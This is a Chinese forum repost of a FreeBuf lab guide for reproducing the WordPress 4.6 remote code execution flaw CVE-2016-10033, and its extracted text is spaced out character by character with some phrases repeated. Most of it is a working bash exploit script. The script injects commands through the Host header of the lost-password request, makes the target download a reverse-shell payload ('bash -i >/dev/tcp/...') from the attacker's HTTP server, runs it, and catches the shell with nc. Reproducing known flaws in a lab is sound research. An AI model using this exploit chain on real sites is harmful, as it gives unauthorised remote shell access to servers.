搜索

[11315] 2017-05-06_WordPress4.6远程代码执行漏洞（CVE-2016-10033）复现环境搭建指南

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2017-05-06_WordPress4.6远程代码执行漏洞（CVE-2016-10033）复现环境搭建指南 W o r d P r e s s   4 . 6 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 1 6 - 1 0 0 3 3 ） 复 现 环 境 搭 建 指 南 p 1 n k 0   F r e e B u f   2 0 1 7 - 0 5 - 0 6 首 先 是 找 到 网 上 的 漏 洞 分 析 和 首 先 是 找 到 网 上 的 漏 洞 分 析 和 p o c 脚 本 ， 脚 本 ， W o r d P r e s s   < 4 . 7 . 1   远 程 代 码 执 行 漏 洞 （ 非 插 件 无 需 认 证 ， 附 远 程 代 码 执 行 漏 洞 （ 非 插 件 无 需 认 证 ， 附 P o c , 演 示 视 频 ） 演 示 视 频 ） — — 具 具 体 关 于 漏 洞 的 分 析 不 多 说 了 ， 这 个 说 得 很 好 了 ， 主 要 是 说 环 境 搭 建 。 体 关 于 漏 洞 的 分 析 不 多 说 了 ， 这 个 说 得 很 好 了 ， 主 要 是 说 环 境 搭 建 。 搭 建 环 境 的 步 骤 ： 搭 建 环 境 的 步 骤 ： 1 . 靶 机 靶 机 靶 机 不 能 是 虚 拟 机   因 为 虚 拟 机 修 改 了 H O S T 头 会 无 法 访 问 靶 机 我 是 在 一 台 电 脑 上 装 了 u b u n t u   1 6 . 0 4 。 外 加 l a m p 环 境   a p a c h e 2   p h p 7   m y s q l - s e r v e r   p h p m y a d m i n 。 具 体 的 指 令 网 上 都 有   这 里 就 不 赘 述   然 后 直 到 看 到 i t   w o r k s 。 下 载 w o r d p r e s s 4 . 6 的 安 装 压 缩 包   h t t p s : / / w o r d p r e s s . o r g / w o r d p r e s s - 4 . 6 . z i p   。 解 压 到 / v a r / w w w / h t m l / 目 录 下   浏 览 器 访 问 进 行 w o r d p r e s s 安 装 直 到 结 束 ！ 注 意 这 里 会 要 求 你 输 入 后 台 管 理 员 的 邮 箱 ， 这 个 是 和 后 面 ！ 注 意 这 里 会 要 求 你 输 入 后 台 管 理 员 的 邮 箱 ， 这 个 是 和 后 面 p o c 中 的 一 部 分 挂 钩 的 ， 后 面 会 提 到 中 的 一 部 分 挂 钩 的 ， 后 面 会 提 到 靶 机 安 装 e x i m 4 而 不 是 s e n d m a i l s u d o   a p t - g e t   i n s t a l l   e x i m 4 上 述 命 令 用 来 安 装 e x i m 4 d p k g - r e c o n f i g u r e   e x i m 4 - c o n f i g 上 述 命 令 用 来 配 置   第 一 个 选 项 选 第 一 个 ： i n t e r n e t   s i t e ;   m a i l   i s   s e n t   a n d   r e c e i v e d   d i r e c t l y   u s i n g   S M T P   第 二 个 选 项 输 入 ： 你 I P 对 应 的 D N S 名 称 （ 发 邮 件 时 显 示 的 @ 后 缀 )   这 里 我 直 接 写 的 i p 好 像 。 后 面 的 我 基 本 都 默 认 就 行
靶 机 需 要 安 装 c u r l 2 . 攻 击 机 攻 击 机 为 了 方 便 运 行 p o c ， 攻 击 机 最 好 也 是 l i n u x 系 统 （ 里 面 有 一 些 c u r l   n c 等 指 令 ） 需 要 安 装 p y t h o n ， 因 为 会 有 p y t h o n 建 立 s i m p l e   h t t p   s e r v e r 来 让 靶 机 从 你 这 边 获 取 东 西 攻 击 机 上 运 行     即 可   其 中 x x . x x . x x . x x 为 靶 机 w o r d p r e s s 的 根 地 址 3 . 脚 本 需 要 修 改 的 部 分 脚 本 需 要 修 改 的 部 分         r e v _ h o s t = ” 1 9 2 . 1 6 8 . 5 7 . 1 ″   # 1         f u n c t i o n   p r e p _ h o s t _ h e a d e r ( )   {             c m d = ” $ 1 ″             r c e _ c m d = ” $ { r u n { $ c m d } } ” ;             #   r e p l a c e   /   w i t h   $ { s u b s t r { 0 } { 1 } { $ s p o o l _ d i r e c t o r y } }             # s e d   ‘ s ^ / ^ $ { s u b s t r { 0 } { 1 } { $ s p o o l _ d i r e c t o r y } } ^ g ’             r c e _ c m d = ” ` e c h o   $ r c e _ c m d   |   s e d   ‘ s ^ / ^ $ { s u b s t r { 0 } { 1 } { $ s p o o l _ d i r e c t o r y } } ^ g ’ ` ”             #   r e p l a c e   ‘   ‘   ( s p a c e )   w i t h             # s e d   ‘ s ^   ^ $ { s u b s t r { 1 0 } { 1 } { $ t o d _ l o g } } $ ^ g ’             r c e _ c m d = ” ` e c h o   $ r c e _ c m d   |   s e d   ‘ s ^   ^ $ { s u b s t r { 1 0 } { 1 } { $ t o d _ l o g } } ^ g ’ ` ”             # r e t u r n   “ t a r g e t ( a n y   - f r o o t @ l o c a l h o s t   - b e   $ r c e _ c m d   n u l l ) ”             h o s t _ h e a d e r = ” t a r g e t ( a n y   - f r o o t @ l o c a l h o s t   - b e   $ r c e _ c m d   n u l l ) ”             r e t u r n   0         }         # c a t   e x p l o i t b o x . a n s         i n t r o = ”         D Q o b W z B t I B t b M j F D G 1 s x O z M 0 b S A g I C A u O 2 x j J w 0 K G 1 s w b S A b W z I x Q x t b M T s z N G 0 u L G N k a 2 t P T 0 9 r         b z s u D Q o b W z B t I C A g X 1 9 f X 1 9 f X x t b O E M b W z E 7 M z R t L i w g G 1 s w b V 9 f X 1 9 f X 1 9 f G 1 s 1 Q 1 9 f X 1 9 f X 1 9 f         G 1 s 2 Q 1 9 f X 1 9 f X 1 8 N C i A g I F w g I F 9 f X y 9 f I F 9 f X 1 8 g G 1 s x O z M 0 b S c b W z B t X 1 9 f X B t b N k M v X 1 9 f X 1 9 c         G 1 s 2 Q 1 9 f X 1 9 f X 1 9 c X y A g I F 8 v X w 0 K I C A g L y A g X y 8 g I C B c X C A g I F w v I C A g L y A g I F 9 f L x t b N U M v L y A g         I H w g I F x f X 1 9 f X y 8 v G 1 s 3 Q 1 w N C i A g L 1 9 f X 1 9 f X 1 9 f X z 4 + G 1 s 2 Q z w g X 1 8 v I C A v I C A g I C 8 t X C B f X 1 9 f         I C 8 b W z V D X C B f X 1 9 f X 1 9 f L w 0 K I B t b M T F D P F 9 f X y 9 c X 1 9 f P i A g I C A v X 1 9 f X 1 9 f X 1 8 v I C A g I C 9 f X 1 9 f         X 1 9 f P g 0 K I B t b N k M b W z E 7 M z R t L m R k Y z s s L D p j O y 4 b W z l D G 1 s w b S x j O h t b O U M b W z M 0 b S 5 j e H h j O j s 6         b 3 g 6 D Q o b W z M 3 b S A b W z Z D G 1 s x O z M 0 b S 5 k e H h 4 e G 8 s G 1 s 1 Q x t b M G 0 u L C A g I C x r T U 1 N M D o u I C A u L B t b         N U M b W z M 0 b S 5 s e H h 4 e H g 6 D Q o b W z M 3 b S A b W z Z D G 1 s x O z M 0 b S 5 k e H h 4 e H h j G 1 s 1 Q x t b M G 1 s V y 4 g b 0 1 N         T U 1 N T U 1 L I C B k M B t b N U M b W z M 0 b S 5 4 e H h 4 e H g 6 D Q o b W z M 3 b S A b W z Z D G 1 s x O z M 0 b S 5 k e H h 4 e H h j G 1 s 1         Q x t b M G 0 u M G s u L E t X T U 1 N V 0 5 v I D p Y O h t b N U M b W z M 0 b S 5 4 e H h 4 e H g 6 D Q o b W z M 3 b S A b W z Z D L h t b M T s z         N G 1 k e H h 4 e H h j G 1 s 2 Q x t b M G 0 u e E 4 w e H h 4 e H h 4 e G t Y S y w b W z Z D G 1 s z N G 0 u e H h 4 e H h 4 O g 0 K G 1 s z N 2 0 g . / e x p . s h   [ h t t p : / / x x . x x . x x . x x / ] ( h t t p : / / x x . x x . x x . x x / )
        G 1 s 2 Q y 4 b W z E 7 M z R t Z H h 4 e H h 4 Y y A g I C A b W z B t b G R k T 0 1 N T U 1 X Z D B N T U 1 N S 2 R k Z C 4 g I C A b W z M 0 b S 5 4         e H h 4 e H g 6 D Q o b W z M 3 b S A b W z Z D G 1 s x O z M 0 b S 5 k e H h 4 e H h j G 1 s 2 Q x t b M G 0 u Y 0 5 N T U 1 O L m 9 N T U 1 N e C c b         W z Z D G 1 s z N G 0 u e H h 4 e H h 4 O g 0 K G 1 s z N 2 0 g G 1 s 2 Q x t b M T s z N G 0 u Z H h 4 e H h 4 Y x t b N U M b W z B t b E t v O 2 R O         T U 4 u b 0 1 N M D s 6 T 2 s u I C A g I B t b M z R t J 3 h 4 e H h 4 e D o N C h t b M z d t I B t b N k M b W z E 7 M z R t L m R 4 e H h 4 e G M g         I C A g G 1 s w b T t N Y y A g I C 5 s e C 4 6 b y w g I C A g S 2 w g I C A g G 1 s z N G 0 n e H h 4 e H h 4 O g 0 K G 1 s z N 2 0 g G 1 s 2 Q x t b         M T s z N G 0 u Z H h 4 e H h 4 Z G w 7 L i A u L B t b M T V D G 1 s w O z M 0 b S 4 u I C 4 7 Y 2 R 4 e H h 4 e H g 6 D Q o b W z M 3 b S A b W z Z D         G 1 s x O z M 0 b S 5 k e H h 4 e C A b W z B t X 1 9 f X 1 9 f X 1 8 b W z E w Q 1 9 f X 1 8 g I F 9 f X 1 9 f I B t b M z R t e H h 4 e H g 6 D Q o b         W z M 3 b S A b W z d D G 1 s x O z M 0 b S 4 n O m 9 4 I B t b M G 1 c G 1 s 2 Q y 9 f I F 9 f X 1 9 f X 1 9 f X C A g I F w v I C A g I C 8 g G 1 s z         N G 1 4 e G M s L g 0 K G 1 s z N 2 0 g G 1 s x M U M b W z E 7 M z R t L i A b W z B t L x t b N U M v I C B c X B t b O E M + G 1 s 3 Q z w g I B t b         M z R t e C w N C h t b M z d t I B t b M T J D L x t b M T B D L y A g I H w g I C A v I C A g L 1 w g I C A g X A 0 K I B t b M T J D X F 9 f X 1 9 f         X 1 9 f X z x f X 1 9 f X 1 9 f P F 9 f X 1 8 + I F x f X 1 9 f P g 0 K I B t b M j F D G 1 s x O z M 0 b S 4 n O m 9 k e C 4 b W z A 7 M z R t Y 2 t 4         b C w u D Q o b W z M 3 b S A b W z I 1 Q x t b M T s z N G 0 u L C 4 b W z A 7 M z R t J y 4 N C h t b M z d t I A 0 K ”         i n t r o 2 = ”         I C A g I C A g I C A g I C A g I C A g I C A g I B t b N D R t f C B F e H B s b 2 l 0 Q m 9 4 L m l v I H w b W z B t C g o b W z k 0 b S s g L S 0 9         f B t b M G 0 g G 1 s 5 M W 1 X b 3 J k c H J l c 3 M g Q 2 9 y Z S A t I F V u Y X V 0 a G V u d G l j Y X R l Z C B S Q 0 U g R X h w b G 9 p d B t b         M G 0 g I B t b O T R t f B t b M G 0 K G 1 s 5 N G 0 r I C 0 t P X w b W z B t I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g         I C A g I C A g I C A g I C A g I C A g I C A g I C A b W z k 0 b X w b W z B t C h t b O T R t K y A t L T 1 8 G 1 s w b S A g I C A g I C A g I C B E         a X N j b 3 Z l c m V k I C Y g Q 2 9 k Z W Q g Q n k g I C A g I C A g I C A g I C A g I C A g G 1 s 5 N G 1 8 G 1 s w b Q o b W z k 0 b S s g L S 0 9         f B t b M G 0 g I C A g I C A g I C A g I C A g I C A b W z k 0 b U R h d 2 l k I E d v b H V u c 2 t p G 1 s w b S A g I C A g I C A g I C A g I C A g         I C A g I B t b O T R t f B t b M G 0 g C h t b O T R t K y A t L T 1 8 G 1 s w b S A g I C A g I C A g I B t b O T R t a H R 0 c H M 6 L y 9 s Z W d h         b G h h Y 2 t l c n M u Y 2 9 t G 1 s w b S A g I C A g I C A g I C A g I C A g G 1 s 5 N G 1 8 G 1 s w b S A K G 1 s 5 N G 0 r I C 0 t P X w b W z B t         I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A g I C A b W z k 0 b X w b W z B t         C h t b O T R t K y A t L T 1 8 G 1 s w b S A i V 2 l 0 a C B H c m V h d C B Q b 3 d l c i B D b 2 1 l c y B H c m V h d C B S Z X N w b 2 5 z a W J p         b G l 0 e S I g G 1 s 5 N G 1 8 G 1 s w b S A K G 1 s 5 N G 0 r I C 0 t P X w b W z B t I C A g I C A g I C A q I E Z v c i B 0 Z X N 0 a W 5 n I H B 1         c n B v c 2 V z I G 9 u b H k g K i A g I C A g I C A g I C A b W z k 0 b X w b W z B t I A o K C g = = ”         e c h o   “ $ i n t r o ”     |   b a s e 6 4   - d         e c h o   “ $ i n t r o 2 ″   |   b a s e 6 4   - d         i f   [   " $ # "   - n e   1   ] ;   t h e n         e c h o   - e   “ U s a g e : n $ 0   t a r g e t - w o r d p r e s s - u r l n ”         e x i t   1         f i         t a r g e t = ” $ 1 ″         e c h o   - n e   “ e [ 9 1 m [ * ] 0 3 3 [ 0 m "         r e a d   - p   "   S u r e   y o u   w a n t   t o   g e t   a   s h e l l   o n   t h e   t a r g e t   ' $ t a r g e t '   ?   [ y / N ]   ”   c h o i c e         e c h o         i f   [   " $ c h o i c e "   = =   " y "   ] ;   t h e n
        e c h o   - e   “ e [ 9 2 m [ * ] 0 3 3 [ 0 m   G u e s s   I   c a n ' t   a r g u e   w i t h   t h a t . . .   L e t ' s   g e t   s t a r t e d . . . n "         e c h o   - e   " e [ 9 2 m [ + ] 0 3 3 [ 0 m   C o n n e c t e d   t o   t h e   t a r g e t "         #   S e r v e   p a y l o a d / b a s h   s c r i p t   o n   : 8 0         R C E _ e x e c _ c m d = " ( s l e e p   3 s   & &   n o h u p   b a s h   - i   > / d e v / t c p / $ r e v _ h o s t / 1 3 3 7   0 < & 1   2 > & 1 )   & "         e c h o   " $ R C E _ e x e c _ c m d "   >   r c e . t x t         p y t h o n   - m S i m p l e H T T P S e r v e r   8 0   2 > / d e v / n u l l   > & 2   &         h p i d = $ !         #   S a v e   p a y l o a d   o n   t h e   t a r g e t   i n   / t m p / r c e         c m d = " / u s r / b i n / c u r l   - o / t m p / r c e   $ r e v _ h o s t / r c e . t x t "         p r e p _ h o s t _ h e a d e r   " $ c m d "         c u r l   - H " H o s t :   $ h o s t _ h e a d e r "   - s   - d   ' u s e r _ l o g i n = a d m i n & w p - s u b m i t = G e t + N e w + P a s s w o r d '   $ t a r g e t / w p - l o g i n . p h p ?   a c t i o n = l o s t p a s s w o r d   # 2         e c h o   - e   " n e [ 9 2 m [ + ] e [ 0 m   P a y l o a d   s e n t   s u c c e s s f u l l y "         #   E x e c u t e   p a y l o a d   ( R C E _ e x e c _ c m d )   o n   t h e   t a r g e t   / b i n / b a s h   / t m p / r c e         c m d = " / b i n / b a s h   / t m p / r c e "         p r e p _ h o s t _ h e a d e r   " $ c m d "         c u r l   - H " H o s t :   $ h o s t _ h e a d e r "   - d   ' u s e r _ l o g i n = a d m i n & w p - s u b m i t = G e t + N e w + P a s s w o r d '   $ t a r g e t / w p - l o g i n . p h p ? a c t i o n = l o s t p a s s w o r d   &   # 3         e c h o   - e   " n e [ 9 2 m [ + ] 0 3 3 [ 0 m   P a y l o a d   e x e c u t e d ! "         e c h o   - e   " n e [ 9 2 m [ * ] 0 3 3 [ 0 m   W a i t i n g   f o r   t h e   t a r g e t   t o   s e n d   u s   a   e [ 9 4 m r e v e r s e   s h e l l e [ 0 m . . . n "         n c   - v v   - l   1 3 3 7         e c h o         e l s e         e c h o   - e   " e [ 9 2 m [ + ] 0 3 3 [ 0 m   R e s p o n s i b l e   c h o i c e       E x i t i n g . n "         e x i t   0         f i         e c h o   " E x i t i n g . . . "         e x i t   0 三 个 地 方   第 一 处   # 1   l i n e   1 r e v _ h o s t = " 1 9 2 . 1 6 8 . 5 7 . 1 "   # 1 这 边 要 替 换 成 你 的 攻 击 机 的 i p 地 址 ， 一 般 是 和 靶 机 处 在 一 个 局 域 网 内 的 ， 可 以 提 前 访 问 下 w o r d p r e s s 的 网 站 进 行 测 试 。 第 二 处   # 2   l i n e   7 5 第 三 处   # 3   l i n e   8 0 c u r l   - H " H o s t :   $ h o s t _ h e a d e r "   - s   - d   ' u s e r _ l o g i n = a d m i n & w p - s u b m i t = G e t + N e w + P a s s w o r d '   $ t a r g e t / w p - l o g i n . p h p ? a c t i o n = l o s t p a s s w o r d   # 2 e c h o   - e   " n e [ 9 2 m [ + ] e [ 0 m   P a y l o a d   s e n t   s u c c e s s f u l l y ” #   E x e c u t e   p a y l o a d   ( R C E _ e x e c _ c m d )   o n   t h e   t a r g e t   / b i n / b a s h   / t m p / r c e
c m d = ” / b i n / b a s h   / t m p / r c e ” p r e p _ h o s t _ h e a d e r   “ $ c m d ” c u r l   - H ” H o s t :   $ h o s t _ h e a d e r ”   - d   ‘ u s e r _ l o g i n = a d m i n & w p - s u b m i t = G e t + N e w + P a s s w o r d ’   $ t a r g e t / w p - l o g i n . p h p ? a c t i o n = l o s t p a s s w o r d   &   # 3 这 两 个 地 方 主 要 要 修 改 的 可 能 是     这 个 参 数 ， 这 个 p o c 里 默 认 的 是 a d m i n 这 里 其 实 就 是 你 装 w o r d p r e s s 时 管 理 员 的 或 者 任 意 一 个 用 户 的 邮 箱 因 为 找 回 密 码 时 他 会 先 判 断 邮 箱 是 否 存 在 ， 再 进 行 下 一 步 如 果 这 里 邮 箱 不 存 在   你 发 包 是 返 回 2 0 0   告 诉 你 邮 箱 不 存 在 如 果 是 存 在 有 的 邮 箱 ， 就 是 返 回 3 0 2 跳 转 到 输 入 邮 箱 密 码 的 界 面   同 时 告 诉 你 邮 件 已 经 发 了 下 面 是 b u r p 模 拟 攻 击 时 候 的 抓 包   返 回 的 是 3 0 2 时 说 明 已 经 命 令 执 行 成 功 可 以 看 到 靶 机 上 也 确 实 出 现 了 r c e 文 件       这 边 执 行 的 命 令 是   / u s r / b i n / c u r l   - o / t m p / r c e   $ r e v _ h o s t / r c e . t x t u s e r _ l o g i n = a d m i n
这 三 个 地 方 改 好 了 之 后 ， 脚 本 就 可 以 运 行 了 ( 里 面 的 一 些 t e s t 和 输 出 是 我 调 的 时 候 自 己 加 的 不 用 在 意 … ) 脚 本 的 主 要 流 程 ： 脚 本 的 主 要 流 程 ： 生 成 本 地 r c e . t x t   里 面 写 的 是 是 建 立 连 接 的 命 令 命 令 执 行 第 一 次   c u r l 攻 击 机 获 取 r c e . t x t   写 到 / t m p 目 录 下 命 令 执 行 第 二 次   运 行 t m p 目 录 下 的 r c e n c 连 接 靶 机
效 果 不 错 ， 但 是 局 限 性 较 多 ， 比 如 不 能 用 虚 拟 机   还 有 要 安 装 e x i m 4 等 这 次 复 现 一 开 始 我 都 在 纠 结 我 的 w p 不 能 发 邮 件 ， 还 配 置 S M T P 服 务 器 什 么 的 ， 后 来 发 现 其 实 这 不 是 问 题 所 在 ， 所 以 最 重 要 的 还 是 搞 清 楚 到 底 是 需 要 什 么 样 的 验 证 环 境 ， 需 要 安 装 那 些 东 西 ， 可 以 少 走 很 多 弯 路 。 * 本 文 作 者 ： p 1 n k 0 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理